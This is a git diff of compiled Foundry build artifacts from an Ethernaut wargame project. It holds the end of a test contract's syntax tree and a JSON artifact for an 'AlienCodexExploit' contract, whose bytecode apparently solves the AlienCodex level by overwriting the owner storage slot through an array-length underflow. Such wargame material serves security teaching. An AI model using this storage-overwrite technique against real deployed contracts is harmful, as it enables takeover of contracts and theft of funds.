external"}},"id":59060,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1779:14:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59061,"nodeType":"ExpressionStatement","src":"1779:14:121"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"1191:5:121","parameters":{"id":58961,"nodeType":"ParameterList","parameters":[],"src":"1196:2:121"},"returnParameters":{"id":58962,"nodeType":"ParameterList","parameters":[],"src":"1206:0:121"},"scope":59118,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59084,"nodeType":"FunctionDefinition","src":"2052:137:121","nodes":[],"body":{"id":59083,"nodeType":"Block","src":"2079:110:121","nodes":[],"statements":[{"expression":{"arguments":[{"id":59070,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"2103:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59067,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2089:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59069,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2092:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"2089:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59071,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2089:21:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59072,"nodeType":"ExpressionStatement","src":"2089:21:121"},{"expression":{"arguments":[{"arguments":[{"id":59075,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"2152:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59078,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"2171:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}],"id":59077,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2163:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59076,"name":"address","nodeType":"ElementaryTypeName","src":"2163:7:121","typeDescriptions":{}}},"id":59079,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2163:17:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59074,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2132:19:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59080,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2132:49:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59073,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"2120:11:121","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59081,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2120:62:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59082,"nodeType":"ExpressionStatement","src":"2120:62:121"}]},"documentation":{"id":59064,"nodeType":"StructuredDocumentation","src":"1984:63:121","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"2061:8:121","parameters":{"id":59065,"nodeType":"ParameterList","parameters":[],"src":"2069:2:121"},"returnParameters":{"id":59066,"nodeType":"ParameterList","parameters":[],"src":"2079:0:121"},"scope":59118,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59117,"nodeType":"FunctionDefinition","src":"2244:207:121","nodes":[],"body":{"id":59116,"nodeType":"Block","src":"2272:179:121","nodes":[],"statements":[{"expression":{"arguments":[{"id":59091,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"2296:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":59092,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58960,"src":"2304:6:121","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59088,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2282:2:121","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59090,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2285:10:121","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15462,"src":"2282:13:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":59093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2282:29:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59094,"nodeType":"ExpressionStatement","src":"2282:29:121"},{"expression":{"arguments":[{"arguments":[{"id":59102,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"2362:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}],"id":59101,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2354:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59100,"name":"address","nodeType":"ElementaryTypeName","src":"2354:7:121","typeDescriptions":{}}},"id":59103,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2354:17:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":59097,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"2322:21:121","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_AlienCodexExploit_$58946_$","typeString":"function () returns (contract AlienCodexExploit)"},"typeName":{"id":59096,"nodeType":"UserDefinedTypeName","pathNode":{"id":59095,"name":"AlienCodexExploit","nameLocations":["2326:17:121"],"nodeType":"IdentifierPath","referencedDeclaration":58946,"src":"2326:17:121"},"referencedDeclaration":58946,"src":"2326:17:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodexExploit_$58946","typeString":"contract AlienCodexExploit"}}},"id":59098,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2322:23:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodexExploit_$58946","typeString":"contract AlienCodexExploit"}},"id":59099,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2346:7:121","memberName":"exploit","nodeType":"MemberAccess","referencedDeclaration":58945,"src":"2322:31:121","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59104,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2322:50:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59105,"nodeType":"ExpressionStatement","src":"2322:50:121"},{"expression":{"arguments":[{"arguments":[{"id":59108,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58953,"src":"2414:9:121","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59111,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58956,"src":"2433:8:121","typeDescriptions":{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_AlienCodex_$58885","typeString":"contract AlienCodex"}],"id":59110,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2425:7:121","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59109,"name":"address","nodeType":"ElementaryTypeName","src":"2425:7:121","typeDescriptions":{}}},"id":59112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2425:17:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59107,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2394:19:121","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59113,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2394:49:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59106,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2383:10:121","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59114,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2383:61:121","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59115,"nodeType":"ExpressionStatement","src":"2383:61:121"}]},"documentation":{"id":59085,"nodeType":"StructuredDocumentation","src":"2195:44:121","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"2253:9:121","parameters":{"id":59086,"nodeType":"ParameterList","parameters":[],"src":"2262:2:121"},"returnParameters":{"id":59087,"nodeType":"ParameterList","parameters":[],"src":"2272:0:121"},"scope":59118,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":58947,"name":"Test","nameLocations":["877:4:121"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"877:4:121"},"id":58948,"nodeType":"InheritanceSpecifier","src":"877:4:121"},{"baseName":{"id":58949,"name":"Utils","nameLocations":["883:5:121"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"883:5:121"},"id":58950,"nodeType":"InheritanceSpecifier","src":"883:5:121"}],"canonicalName":"TestAlienCodex","contractDependencies":[49101,56450,58028,58946],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[59118,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestAlienCodex","nameLocation":"859:14:121","scope":59119,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":121} \ No newline at end of file diff --git a/contracts/out/AlienCodex.t.sol/AlienCodexExploit.json b/contracts/out/AlienCodex.t.sol/AlienCodexExploit.json new file mode 100644 index 000000000..b9dbec7b2 --- /dev/null +++ b/contracts/out/AlienCodex.t.sol/AlienCodexExploit.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"exploit","inputs":[{"name":"instanceAddress","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5061028a8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80630aeb4ddf1461002d575b5f80fd5b61004061003b3660046101c1565b610042565b005b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663328b52cb6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561008b575f80fd5b505af115801561009d573d5f803e3d5ffd5b505050508073ffffffffffffffffffffffffffffffffffffffff166347f57b326040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156100e6575f80fd5b505af11580156100f8573d5f803e3d5ffd5b5050604080516001602080830191909152825180830382018152918301909252805191012091505073ffffffffffffffffffffffffffffffffffffffff8216630339f300610147835f19610228565b610152906001610241565b60405160e083901b7fffffffff0000000000000000000000000000000000000000000000000000000016815260048101919091523260248201526044015f604051808303815f87803b1580156101a6575f80fd5b505af11580156101b8573d5f803e3d5ffd5b50505050505050565b5f602082840312156101d1575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff811681146101f4575f80fd5b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561023b5761023b6101fb565b92915050565b8082018082111561023b5761023b6101fb56fea26469706673582212209773b40f324496206a841569b9a82c562e92131aaa0dbd1db5e6eb2d3ccfa0c464736f6c63430008180033","sourceMap":"467:381:121:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610029575f3560e01c80630aeb4ddf1461002d575b5f80fd5b61004061003b3660046101c1565b610042565b005b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663328b52cb6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561008b575f80fd5b505af115801561009d573d5f803e3d5ffd5b505050508073ffffffffffffffffffffffffffffffffffffffff166347f57b326040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156100e6575f80fd5b505af11580156100f8573d5f803e3d5ffd5b5050604080516001602080830191909152825180830382018152918301909252805191012091505073ffffffffffffffffffffffffffffffffffffffff8216630339f300610147835f19610228565b610152906001610241565b60405160e083901b7fffffffff0000000000000000000000000000000000000000000000000000000016815260048101919091523260248201526044015f604051808303815f87803b1580156101a6575f80fd5b505af11580156101b8573d5f803e3d5ffd5b50505050505050565b5f602082840312156101d1575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff811681146101f4575f80fd5b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561023b5761023b6101fb565b92915050565b8082018082111561023b5761023b6101fb56fea26469706673582212209773b40f324496206a841569b9a82c562e92131aaa0dbd1db5e6eb2d3ccfa0c464736f6c63430008180033","sourceMap":"467:381:121:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;500:346;;;;;;:::i;:::-;;:::i;:::-;;;559:19;592:15;559:49;;618:8;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;650:8;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;721:13:121;;;732:1;721:13;;;;480:36:155;;;;721:13:121;;;;;;;;;453:18:155;;;721:13:121;;;711:24;;;;;;-1:-1:-1;;746:15:121;;;;762:34;711:24;-1:-1:-1;;762:34:121;:::i;:::-;:38;;799:1;762:38;:::i;:::-;746:93;;;;;;;;;;;;;1153:25:155;;;;826:9:121;1194:18:155;;;1187:34;1126:18;;746:93:121;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;549:297;;500:346;:::o;14:309:155:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;231:42;224:5;220:54;213:5;210:65;200:93;;289:1;286;279:12;200:93;312:5;14:309;-1:-1:-1;;;14:309:155:o;527:184::-;579:77;576:1;569:88;676:4;673:1;666:15;700:4;697:1;690:15;716:128;783:9;;;804:11;;;801:37;;;818:18;;:::i;:::-;716:128;;;;:::o;849:125::-;914:9;;;935:10;;;932:36;;;948:18;;:::i","linkReferences":{}},"methodIdentifiers":{"exploit(address)":"0aeb4ddf"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"instanceAddress\",\"type\":\"address\"}],\"name\":\"exploit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/AlienCodex.t.sol\":\"AlienCodexExploit\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc